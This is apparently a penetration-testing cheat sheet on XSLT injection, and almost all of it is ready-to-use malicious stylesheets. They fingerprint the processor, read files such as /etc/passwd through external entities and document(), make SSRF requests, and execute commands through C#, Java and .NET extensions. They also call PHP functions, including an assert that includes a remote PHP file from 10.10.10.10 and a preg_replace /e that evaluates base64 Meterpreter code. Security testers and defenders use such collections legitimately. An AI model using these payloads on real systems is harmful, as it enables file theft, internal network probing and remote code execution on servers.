XSLT Injection

> Processing an unvalidated XSL stylesheet can allow an attacker to change the structure and contents of the resultant XML, include arbitrary files from the file system, or execute arbitrary code

Summary

Tools

Exploit

Determine the vendor and version

```
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/fruits">
    <xsl:value-of select="system-property('xsl:vendor')"/>
  </xsl:template>
</xsl:stylesheet>
```

```
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl">
<body>
<br />Version: <xsl:value-of select="system-property('xsl:version')" />
<br />Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
<br />Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
</body>
</html>
```

External Entity

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "C:\secretfruit.txt">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
```

```
  <xsl:template match="/fruits">
    Fruits &ext_file;:
    <!-- Loop for each fruit -->
    <xsl:for-each select="fruit">
      <!-- Print name: description -->
      - <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
    </xsl:for-each>
  </xsl:template>

</xsl:stylesheet>
```

Read files and SSRF using document

```
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/fruits">
    <xsl:copy-of select="document('http://172.16.132.1:25')"/>
    <xsl:copy-of select="document('/etc/passwd')"/>
    <xsl:copy-of select="document('file:///c:/winnt/win.ini')"/>
    Fruits:
        <!-- Loop for each fruit -->
    <xsl:for-each select="fruit">
      <!-- Print name: description -->
      - <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
    </xsl:for-each>
  </xsl:template>
</xsl:stylesheet>
```

Remote Code Execution with Embedded Script Blocks

```
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="urn:my-scripts">

<msxsl:script language = "C#" implements-prefix = "user">
<![CDATA[
public string execute(){
System.Diagnostics.Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName= "C:\\windows\\system32\\cmd.exe";
proc.StartInfo.RedirectStandardOutput = true;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.Arguments = "/c dir";
proc.Start();
proc.WaitForExit();
return proc.StandardOutput.ReadToEnd();
}
]]>
</msxsl:script>

  <xsl:template match="/fruits">
  --- BEGIN COMMAND OUTPUT ---
    <xsl:value-of select="user:execute()"/>
  --- END COMMAND OUTPUT ---
```

```
  </xsl:template>
</xsl:stylesheet>
```

Remote Code Execution with PHP wrapper

Execute the function `readfile`.

```
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl">
<body>
<xsl:value-of select="php:function('readfile','index.php')" />
</body>
</html>
```

Execute the function `scandir`.

```
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl" version="1.0">
        <xsl:template match="/">
                <xsl:value-of name="assert" select="php:function('scandir', '.')"/>
        </xsl:template>
</xsl:stylesheet>
```

Execute a remote php file using `assert`

```
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
        <xsl:variable name="payload">
            include("http://10.10.10.10/test.php")
        </xsl:variable>
        <xsl:variable name="include" select="php:function('assert',$payload)"/>
</body>
</html>
```

Execute a PHP meterpreter using PHP wrapper.

```
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl" version="1.0">
        <xsl:template match="/">
                <xsl:variable name="eval">
                        eval(base64_decode('Base64-encoded Meterpreter code'))
                </xsl:variable>
                <xsl:variable name="preg" select="php:function('preg_replace',
'/.*/e', $eval, '')"/>
        </xsl:template>
</xsl:stylesheet>
```

Remote Code Execution with Java

```
  <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
    <xsl:template match="/">
      <xsl:variable name="rtobject" select="rt:getRuntime()"/>
      <xsl:variable name="process" select="rt:exec($rtobject,'ls')"/>
      <xsl:variable name="processString" select="ob:toString($process)"/>
      <xsl:value-of select="$processString"/>
    </xsl:template>
  </xsl:stylesheet>
```

```
<xml version="1.0"?>
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:java="http://saxon.sf.net/java-type">
<xsl:template match="/">
<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'cmd.exe /C ping IP')"
xmlns:Runtime="java:java.lang.Runtime"/>
</xsl:template>.
</xsl:stylesheet>
```

Remote Code Execution with Native .NET

```
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:App="http://www.tempuri.org/App">
    <msxsl:script implements-prefix="App" language="C#">
      <![CDATA[
        public string ToShortDateString(string date)
          {
              System.Diagnostics.Process.Start("cmd.exe");
              return "01/01/2001";
          }
      ]]>
    </msxsl:script>
    <xsl:template match="ArrayOfTest">
      <TABLE>
        <xsl:for-each select="Test">
          <TR>
          <TD>
            <xsl:value-of select="App:ToShortDateString(TestDate)" />
          </TD>
          </TR>
        </xsl:for-each>
      </TABLE>
    </xsl:template>
  </xsl:stylesheet>
```

References

- From XSLT code execution to Meterpreter shells - 02 July 2012 - @agarri
- XSLT Injection - Fortify
- XSLT Injection Basics - Saxon